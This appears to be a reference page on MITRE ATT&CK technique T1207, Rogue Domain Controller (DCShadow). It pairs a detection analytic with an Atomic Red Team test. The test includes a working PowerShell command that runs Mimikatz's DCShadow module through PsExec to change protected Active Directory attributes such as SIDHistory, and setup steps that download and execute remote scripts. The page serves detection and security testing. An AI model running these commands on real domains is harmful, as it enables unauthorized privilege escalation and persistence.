tfMITRE ATT&CK technique

Rogue Domain Controller T1207

Tactic: Defense Impairment
Platform: Windows
Version: 3.0
Created: 18 April 2018
Last modified: 12 May 2026
Contributor: Vincent Le Toux

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. [1] Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsNone recorded

Threat groupsNone recorded · 29% of ATT&CK techniques have none either.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware44th pct

Tools & malware44th percentile · 56% of ATT&CK techniques have more tools implementing them.

Detection rules71st pct

Detection rules71st percentile · 71% of ATT&CK techniques have this many detection rules written or fewer.

Rogue Domain Controller MITRE reference T1207

44th pctamong all ATT&CK techniques for number of tools

1 software entry is documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

MimikatzS0002 ↗

Mimikatz’s LSADUMP::DCShadow module can be used to make AD updates by temporarily setting a computer to be a DC.1 2

created 2017-05-31TOOLcarried by 51 groups

All 1 software entries for this technique

Offense vs defense T1207

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 2Splunk ESCU (cumulative) · 6

first rule: 2019 Q4

Rogue Domain Controller detection strategy DET0276

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse

Enterprise

1 platform

AN0770 · Windows

Detection of rogue Domain Controller registration and Active Directory replication abuse by correlating: (1) creation/modification of nTDSDSA and server objects in the Configuration partition, (2) unexpected usage of Directory Replication Service SPNs (GC/ or E3514235-4B06-11D1-AB04-00C04FC2DCD2), (3) replication RPC calls (DrsAddEntry, DrsReplicaAdd, GetNCChanges) originating from non-DC hosts, and (4) Kerberos authentication by non-DC machines using DRS-related SPNs. These events in combination, especially from hosts outside the Domain Controllers OU, may indicate DCShadow or rogue DC activity.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Active Directory Object ModificationDC0066	m365:dirsync	Replication cookie changes involving Configuration partition with new server/nTDSDSA objects.
Active Directory Object AccessDC0071	WinEventLog:Security	EventCode=4662
Active Directory Credential RequestDC0084	WinEventLog:Security	EventCode=4929
Network Traffic ContentDC0085	NSM:Flow	DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.
Active Directory Object CreationDC0087	WinEventLog:Security	EventCode=4928

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Window (seconds) between nTDSDSA object creation and subsequent replication traffic from same host (default 300s).
AllowedReplicationPartners	List of legitimate DCs authorized for replication to reduce false positives.
SuspiciousSPNs	SPNs indicating replication service usage (GC/, GUID E3514235-4B06-11D1-AB04-00C04FC2DCD2).
NonDCObjectCreationAlert	Trigger alerts only when AD object creation is by accounts not in Domain Admins or Enterprise Admins groups.

Tests1ExecutorsPowerShell 1Need elevation1 of 1Have prerequisites1Have cleanup1Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

DCShadow (Active Directory)

windows

PowerShell

Required

Yes

Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute. DCShadow Additional Reference It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with: Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount Need SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely. The easiest is to run elevated and as a Domain Admin user.

Input arguments

Name	Type	Default	Description
value	string	9999	Value to assign to object attribute
object	string	bruce.wayne	Targeted object (for machine account do not forget to add final '$')
attribute	string	badpwdcount	Object attribute to edit, interesting ones: badpwdcount, primaryGroupId, SIDHistory...
psexec_path	path	PathToAtomicsFolder\..\ExternalPayloads\PSTools\PsExec.exe	Path to PsExec
mimikatz_path	path	PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe	Mimikatz windows executable

Attack command

# starting fake DC server, as SYSTEM (required)
$dc_output_file = "PathToAtomicsFolder\..\ExternalPayloads\art-T1207-mimikatz-DC.log"
Remove-Item $dc_output_file -ErrorAction Ignore
$mimikatzParam ="`"log $dc_output_file`" `"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`" `"exit`""
$dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList "/c '#{psexec_path}' /accepteula -d -s #{mimikatz_path} $mimikatzParam"

# wait for fake DC server to be ready...
Start-Sleep -Seconds 5

# server ready, so trigger replication (push) and wait until it finished
& "#{mimikatz_path}" "lsadump::dcshadow /push" "exit"

Write-Host "`nWaiting for fake DC server to return"
Wait-Process $dc

Write-Host "`nOutput from fake DC server:"
Get-Content $dc_output_file
Start-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it
Remove-Item $dc_output_file -ErrorAction Ignore

Write-Host "End of DCShadow"

Cleanup command

Stop-Process -Name "mimikatz" -Force -ErrorAction Ignore

Prerequisite

Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

Check

$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}

Satisfy

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo #{mimikatz_path}
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath

Prerequisite

PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})

Check

if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}

Satisfy

Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force

GUID7ed5d97f-2010-4c8b-a53c-d5090dd69af2

Tests from Atomic Red Team (MIT licence) · technique definition

Rogue Domain Controller detections T1207

8 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

71st pctamong all ATT&CK techniques for number of rules

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